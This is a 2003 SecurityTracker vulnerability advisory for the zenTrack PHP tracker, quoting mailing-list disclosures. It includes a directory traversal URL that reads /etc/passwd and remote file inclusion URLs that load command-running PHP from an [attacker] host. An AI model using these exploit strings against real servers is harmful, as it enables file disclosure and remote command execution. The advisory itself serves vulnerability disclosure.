zenTrack Input Validation Flaw Discloses Files to Remote Users
|
|
SecurityTracker Alert ID: 1007030
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jun 23 2003
|
Impact: Disclosure of system information, Disclosure of user information
|
Exploit Included: Yes
|
Description: An information disclosure vulnerability was reported in zenTrack. A remote user can view files on the system.
gr00vy reported that the software does not properly validate the user-supplied 'configFile' parameter. A remote user can request
a specially crafted URL containing '../' directory traversal characters to view specified files on the system with the privileges
of the web server.
A demonstration exploit URL is provided:
http://[target]/zentrack/index.php?configFile=/../../../../../etc/passwd
|
Impact: A remote user can view specified files on the system with the privileges of the web server.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: zendocs.phpzen.net/bin/view/Zentrack/IndexPage (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: gr00vy <groovy2600@yahoo.com.ar>
|
Message History:
None.
|
Source Message Contents
|
Date: 06 Jun 2003 22:48:43 -0300
From: gr00vy <groovy2600@yahoo.com.ar>
Subject: Re: zenTrack Remote Command Execution Vulnerabilities
|
Like an add to this advisory if you send this to teh host....
http://www.vulnerablehost.com.ar/zentrack/index.php?configFile=/../../../../../etc/passwd
You can reciebe the file! :)
www.zencracking.com.ar gr00vy Argentina!
On Thu, 2003-06-05 at 22:00, farking@i-ownur.info wrote:
> Subject: zenTrack Remote Command Execution Vulnerabilities
> Author: farking (farking@i-ownur.info)
> Product: zenTrack 2.4.1 (latest) and below
> Vendor: http://zendocs.phpzen.net/zentrack /
> http://sourceforge.net/projects/zentrack/
> Status: Vendor contacted (27/05/2003)
> Location: http://farking.daemon.sh/advisories/zentrack-062003.txt
> Greet to: corpsie & EvoIVGSR
>
> Description
> -----------
>
> zenTrack is a flexible system for tracking work, requests, information,
> and customer care.
> The goal of the project is to provide a method for organizing, managing,
> and archiving requests, work, and information
> in a structured and reliable method.
>
> Details
> -------
>
> zenTrack vulnerability exist in header.php that hold zenTrack
> configuration settings. Some code
>
> <?
> :
> $libDir = "/web/zentrack/includes";
> $rootUrl = "http://www.yourhost.com/zentrack";
> $Debug_Mode = 0;
> $Demo_Mode = "off";
> $configFile = "$libDir/configVars.php";
> :
> ?>
>
>
> This allow anyone to take advantage of this vulnerability and run remote
> command as webserver privilege. For example:
>
> http://[victim]/zentrack/index.php?configFile=http://[attacker]/cmd.php?
> cmd=pwd
>
> or
>
> Create translator.class anywhere in your website contain php code that
> allow you to run command. For this example I'll
> create translator.class in the test directory:
>
> http://[victim]/zentrack/www/index.php?libDir=http://
> [attacker]/test/&cmd=pwd
>
> If you dont wan't to see any error just copy translator.class as
> zenTrack.class :)
>
> Other vulnerability is attacker can turn zenTrack demo mode to on or set
> zenTrack debug mode that will show extra info.
>
>
> ------------------------------
> farking (farking@i-ownur.info)
> http://farking.daemon.sh
|
|
